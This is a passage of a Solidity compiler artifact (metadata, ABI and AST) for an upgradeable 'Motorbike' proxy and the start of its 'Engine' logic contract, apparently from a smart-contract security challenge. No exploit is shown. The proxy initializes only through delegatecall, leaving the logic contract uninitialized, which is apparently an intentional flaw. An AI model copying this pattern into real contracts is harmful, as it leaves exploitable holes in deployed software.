:\"Motorbike\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol\":{\"keccak256\":\"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68\",\"dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":{\"keccak256\":\"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c\",\"dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN\"]},\"src/levels/Motorbike.sol\":{\"keccak256\":\"0xb83470b9fdd8b6e748fdb575fbd6d215ae87acd76f2a32daf8cb1dee5bbafe05\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a4e8766470cd9fc028f43ddc980f6e7e15f0c4d56a0a941e490169a655986580\",\"dweb:/ipfs/QmUFMexWrfkDhFgiVTUBxh6KqZmQoedS2UToqDC2DxUe79\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"_logic","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"stateMutability":"payable","type":"fallback"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Motorbike.sol":"Motorbike"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol":{"keccak256":"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed","urls":["bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68","dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":{"keccak256":"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea","urls":["bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c","dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN"],"license":"MIT"},"src/levels/Motorbike.sol":{"keccak256":"0xb83470b9fdd8b6e748fdb575fbd6d215ae87acd76f2a32daf8cb1dee5bbafe05","urls":["bzz-raw://a4e8766470cd9fc028f43ddc980f6e7e15f0c4d56a0a941e490169a655986580","dweb:/ipfs/QmUFMexWrfkDhFgiVTUBxh6KqZmQoedS2UToqDC2DxUe79"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Motorbike.sol","id":1282,"exportedSymbols":{"Engine":[1281],"Motorbike":[1171]},"nodeType":"SourceUnit","src":"33:3610:8","nodes":[{"id":1099,"nodeType":"PragmaDirective","src":"33:23:8","nodes":[],"literals":["solidity","<","0.7",".0"]},{"id":1100,"nodeType":"ImportDirective","src":"58:53:8","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Address.sol","file":"openzeppelin-contracts-06/utils/Address.sol","scope":1282,"sourceUnit":827,"symbolAliases":[],"unitAlias":""},{"id":1101,"nodeType":"ImportDirective","src":"112:59:8","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol","file":"openzeppelin-contracts-06/proxy/Initializable.sol","scope":1282,"sourceUnit":531,"symbolAliases":[],"unitAlias":""},{"id":1171,"nodeType":"ContractDefinition","src":"173:1733:8","nodes":[{"id":1104,"nodeType":"VariableDeclaration","src":"271:115:8","nodes":[],"constant":true,"mutability":"constant","name":"_IMPLEMENTATION_SLOT","overrides":null,"scope":1171,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1102,"name":"bytes32","nodeType":"ElementaryTypeName","src":"271:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"argumentTypes":null,"hexValue":"307833363038393461313362613161333231303636376338323834393264623938646361336532303736636333373335613932306133636135303564333832626263","id":1103,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"320:66:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_24440054405305269366569402256811496959409073762505157381672968839269610695612_by_1","typeString":"int_const 2444...(69 digits omitted)...5612"},"value":"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"},"visibility":"internal"},{"id":1107,"nodeType":"StructDefinition","src":"393:49:8","nodes":[],"canonicalName":"Motorbike.AddressSlot","members":[{"constant":false,"id":1106,"mutability":"mutable","name":"value","nodeType":"VariableDeclaration","overrides":null,"scope":1107,"src":"422:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1105,"name":"address","nodeType":"ElementaryTypeName","src":"422:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"name":"AddressSlot","scope":1171,"visibility":"public"},{"id":1143,"nodeType":"FunctionDefinition","src":"543:327:8","nodes":[],"body":{"id":1142,"nodeType":"Block","src":"578:292:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1115,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1109,"src":"615:6:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":1113,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"596:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":1114,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"596:18:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":1116,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"596:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"455243313936373a206e657720696d706c656d656e746174696f6e206973206e6f74206120636f6e7472616374","id":1117,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"624:47:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""},"value":"ERC1967: new implementation is not a contract"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_972b7028e8de0bff0d553b3264eba2312ec98a552add05e58853b313f9f4ac65","typeString":"literal_string \"ERC1967: new implementation is not a contract\""}],"id":1112,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"588:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1118,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"588:84:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1119,"nodeType":"ExpressionStatement","src":"588:84:8"},{"expression":{"argumentTypes":null,"id":1125,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1121,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1104,"src":"698:20:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":1120,"name":"_getAddressSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1170,"src":"682:15:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$1107_storage_ptr_$","typeString":"function (bytes32) pure returns (struct Motorbike.AddressSlot storage pointer)"}},"id":1122,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"682:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot storage pointer"}},"id":1123,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":1106,"src":"682:43:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"id":1124,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1109,"src":"728:6:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"682:52:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1126,"nodeType":"ExpressionStatement","src":"682:52:8"},{"assignments":[1128,null],"declarations":[{"constant":false,"id":1128,"mutability":"mutable","name":"success","nodeType":"VariableDeclaration","overrides":null,"scope":1142,"src":"745:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":1127,"name":"bool","nodeType":"ElementaryTypeName","src":"745:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"},null],"id":1136,"initialValue":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"hexValue":"696e697469616c697a652829","id":1133,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"806:14:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""},"value":"initialize()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8129fc1cf5a76b8b9d76c7ab5059b1685decddb2380c6e4cebb774b7c17ae83f","typeString":"literal_string \"initialize()\""}],"expression":{"argumentTypes":null,"id":1131,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"782:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":1132,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberName":"encodeWithSignature","nodeType":"MemberAccess","referencedDeclaration":null,"src":"782:23:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":1134,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"782:39:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"argumentTypes":null,"id":1129,"name":"_logic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1109,"src":"762:6:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":1130,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"delegatecall","nodeType":"MemberAccess","referencedDeclaration":null,"src":"762:19:8","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":1135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"762:60:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"744:78:8"},{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1138,"name":"success","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1128,"src":"840:7:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"43616c6c206661696c6564","id":1139,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"849:13:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""},"value":"Call failed"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_066ad49a0ed9e5d6a9f3c20fca13a038f0a5d629f0aaf09d634ae2a7c232ac2b","typeString":"literal_string \"Call failed\""}],"id":1137,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"832:7:8","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":1140,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"832:31:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1141,"nodeType":"ExpressionStatement","src":"832:31:8"}]},"documentation":null,"implemented":true,"kind":"constructor","modifiers":[],"name":"","overrides":null,"parameters":{"id":1110,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1109,"mutability":"mutable","name":"_logic","nodeType":"VariableDeclaration","overrides":null,"scope":1143,"src":"555:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1108,"name":"address","nodeType":"ElementaryTypeName","src":"555:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"554:16:8"},"returnParameters":{"id":1111,"nodeType":"ParameterList","parameters":[],"src":"578:0:8"},"scope":1171,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":1150,"nodeType":"FunctionDefinition","src":"931:466:8","nodes":[],"body":{"id":1149,"nodeType":"Block","src":"991:406:8","nodes":[],"statements":[{"AST":{"nodeType":"YulBlock","src":"1066:325:8","statements":[{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1093:1:8","type":"","value":"0"},{"kind":"number","nodeType":"YulLiteral","src":"1096:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"calldatasize","nodeType":"YulIdentifier","src":"1099:12:8"},"nodeType":"YulFunctionCall","src":"1099:14:8"}],"functionName":{"name":"calldatacopy","nodeType":"YulIdentifier","src":"1080:12:8"},"nodeType":"YulFunctionCall","src":"1080:34:8"},"nodeType":"YulExpressionStatement","src":"1080:34:8"},{"nodeType":"YulVariableDeclaration","src":"1127:74:8","value":{"arguments":[{"arguments":[],"functionName":{"name":"gas","nodeType":"YulIdentifier","src":"1154:3:8"},"nodeType":"YulFunctionCall","src":"1154:5:8"},{"name":"implementation","nodeType":"YulIdentifier","src":"1161:14:8"},{"kind":"number","nodeType":"YulLiteral","src":"1177:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"calldatasize","nodeType":"YulIdentifier","src":"1180:12:8"},"nodeType":"YulFunctionCall","src":"1180:14:8"},{"kind":"number","nodeType":"YulLiteral","src":"1196:1:8","type":"","value":"0"},{"kind":"number","nodeType":"YulLiteral","src":"1199:1:8","type":"","value":"0"}],"functionName":{"name":"delegatecall","nodeType":"YulIdentifier","src":"1141:12:8"},"nodeType":"YulFunctionCall","src":"1141:60:8"},"variables":[{"name":"result","nodeType":"YulTypedName","src":"1131:6:8","type":""}]},{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1229:1:8","type":"","value":"0"},{"kind":"number","nodeType":"YulLiteral","src":"1232:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nodeType":"YulIdentifier","src":"1235:14:8"},"nodeType":"YulFunctionCall","src":"1235:16:8"}],"functionName":{"name":"returndatacopy","nodeType":"YulIdentifier","src":"1214:14:8"},"nodeType":"YulFunctionCall","src":"1214:38:8"},"nodeType":"YulExpressionStatement","src":"1214:38:8"},{"cases":[{"body":{"nodeType":"YulBlock","src":"1298:31:8","statements":[{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1307:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nodeType":"YulIdentifier","src":"1310:14:8"},"nodeType":"YulFunctionCall","src":"1310:16:8"}],"functionName":{"name":"revert","nodeType":"YulIdentifier","src":"1300:6:8"},"nodeType":"YulFunctionCall","src":"1300:27:8"},"nodeType":"YulExpressionStatement","src":"1300:27:8"}]},"nodeType":"YulCase","src":"1291:38:8","value":{"kind":"number","nodeType":"YulLiteral","src":"1296:1:8","type":"","value":"0"}},{"body":{"nodeType":"YulBlock","src":"1350:31:8","statements":[{"expression":{"arguments":[{"kind":"number","nodeType":"YulLiteral","src":"1359:1:8","type":"","value":"0"},{"arguments":[],"functionName":{"name":"returndatasize","nodeType":"YulIdentifier","src":"1362:14:8"},"nodeType":"YulFunctionCall","src":"1362:16:8"}],"functionName":{"name":"return","nodeType":"YulIdentifier","src":"1352:6:8"},"nodeType":"YulFunctionCall","src":"1352:27:8"},"nodeType":"YulExpressionStatement","src":"1352:27:8"}]},"nodeType":"YulCase","src":"1342:39:8","value":"default"}],"expression":{"name":"result","nodeType":"YulIdentifier","src":"1272:6:8"},"nodeType":"YulSwitch","src":"1265:116:8"}]},"evmVersion":"istanbul","externalReferences":[{"declaration":1145,"isOffset":false,"isSlot":false,"src":"1161:14:8","valueSize":1}],"id":1148,"nodeType":"InlineAssembly","src":"1057:334:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_delegate","overrides":null,"parameters":{"id":1146,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1145,"mutability":"mutable","name":"implementation","nodeType":"VariableDeclaration","overrides":null,"scope":1150,"src":"950:22:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1144,"name":"address","nodeType":"ElementaryTypeName","src":"950:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"src":"949:24:8"},"returnParameters":{"id":1147,"nodeType":"ParameterList","parameters":[],"src":"991:0:8"},"scope":1171,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":1161,"nodeType":"FunctionDefinition","src":"1572:107:8","nodes":[],"body":{"id":1160,"nodeType":"Block","src":"1608:71:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":1155,"name":"_IMPLEMENTATION_SLOT","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1104,"src":"1644:20:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":1154,"name":"_getAddressSlot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1170,"src":"1628:15:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes32_$returns$_t_struct$_AddressSlot_$1107_storage_ptr_$","typeString":"function (bytes32) pure returns (struct Motorbike.AddressSlot storage pointer)"}},"id":1156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1628:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot storage pointer"}},"id":1157,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberName":"value","nodeType":"MemberAccess","referencedDeclaration":1106,"src":"1628:43:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":1153,"name":"_delegate","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1150,"src":"1618:9:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":1158,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1618:54:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":1159,"nodeType":"ExpressionStatement","src":"1618:54:8"}]},"documentation":null,"implemented":true,"kind":"fallback","modifiers":[],"name":"","overrides":null,"parameters":{"id":1151,"nodeType":"ParameterList","parameters":[],"src":"1580:2:8"},"returnParameters":{"id":1152,"nodeType":"ParameterList","parameters":[],"src":"1608:0:8"},"scope":1171,"stateMutability":"payable","virtual":true,"visibility":"external"},{"id":1170,"nodeType":"FunctionDefinition","src":"1756:148:8","nodes":[],"body":{"id":1169,"nodeType":"Block","src":"1841:63:8","nodes":[],"statements":[{"AST":{"nodeType":"YulBlock","src":"1860:38:8","statements":[{"nodeType":"YulAssignment","src":"1874:14:8","value":{"name":"slot","nodeType":"YulIdentifier","src":"1884:4:8"},"variableNames":[{"name":"r_slot","nodeType":"YulIdentifier","src":"1874:6:8"}]}]},"evmVersion":"istanbul","externalReferences":[{"declaration":1166,"isOffset":false,"isSlot":true,"src":"1874:6:8","valueSize":1},{"declaration":1163,"isOffset":false,"isSlot":false,"src":"1884:4:8","valueSize":1}],"id":1168,"nodeType":"InlineAssembly","src":"1851:47:8"}]},"documentation":null,"implemented":true,"kind":"function","modifiers":[],"name":"_getAddressSlot","overrides":null,"parameters":{"id":1164,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1163,"mutability":"mutable","name":"slot","nodeType":"VariableDeclaration","overrides":null,"scope":1170,"src":"1781:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1162,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1781:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":null,"visibility":"internal"}],"src":"1780:14:8"},"returnParameters":{"id":1167,"nodeType":"ParameterList","parameters":[{"constant":false,"id":1166,"mutability":"mutable","name":"r","nodeType":"VariableDeclaration","overrides":null,"scope":1170,"src":"1818:21:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot"},"typeName":{"contractScope":null,"id":1165,"name":"AddressSlot","nodeType":"UserDefinedTypeName","referencedDeclaration":1107,"src":"1818:11:8","typeDescriptions":{"typeIdentifier":"t_struct$_AddressSlot_$1107_storage_ptr","typeString":"struct Motorbike.AddressSlot"}},"value":null,"visibility":"internal"}],"src":"1817:23:8"},"scope":1171,"stateMutability":"pure","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":null,"fullyImplemented":true,"linearizedBaseContracts":[1171],"name":"Motorbike","scope":1282},{"id":1281,"nodeType":"ContractDefinition","src":"1908:1734:8","nodes":[{"id":1176,"nodeType":"VariableDeclaration","src":"2020:115:8","nodes":[],"constant":true,"mutability":"constant","name":"_IMPLEMENTATION_SLOT","overrides":null,"scope":1281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":1174,"name":"bytes32","nodeType":"ElementaryTypeName","src":"2020:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"value":{"argumentTypes":null,"hexValue":"307833363038393461313362613161333231303636376338323834393264623938646361336532303736636333373335613932306133636135303564333832626263","id":1175,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2069:66:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_24440054405305269366569402256811496959409073762505157381672968839269610695612_by_1","typeString":"int_const 2444...(69 digits omitted)...5612"},"value":"0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"},"visibility":"internal"},{"id":1178,"nodeType":"VariableDeclaration","src":"2142:23:8","nodes":[],"constant":false,"functionSelector":"af269745","mutability":"mutable","name":"upgrader","overrides":null,"scope":1281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1177,"name":"address","nodeType":"ElementaryTypeName","src":"2142:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"public"},{"id":1180,"nodeType":"VariableDeclaration","src":"2171:25:8","nodes":[],"constant":false,"functionSelector":"564f6d71","mutability":"mutable","name":"horsePower","overrides":null,"scope":1281,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":1179,"name":"uint256","nodeType":"ElementaryTypeName","src":"2171:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":null,"visibility":"public"},{"id":1183,"nodeType":"StructDefinition","src":"2203:49:8","nodes":[],"canonicalName":"Engine.AddressSlot","members":[{"constant":false,"id":1182,"mutability":"mutable","name":"value","nodeType":"VariableDeclaration","overrides":null,"scope":1183,"src":"2232:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":1181,"name":"address","nodeType":"ElementaryTypeName","src":"2232:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":null,"visibility":"internal"}],"name":"AddressSlot","scope":1281,"visibility":"public"},{"id":1198,"nodeType":"FunctionDefinition","src":"2258:108:8","nodes":[],"body":{"id":1197,"nodeType":"Block","src":"2301:65:8","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":1190,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":1188,"name":"horsePower","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":1180,"src":"2311:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"hexValue":"31303030","id":1189,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2324:4:8","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_rational_1000_by_1","typeString":"int_const 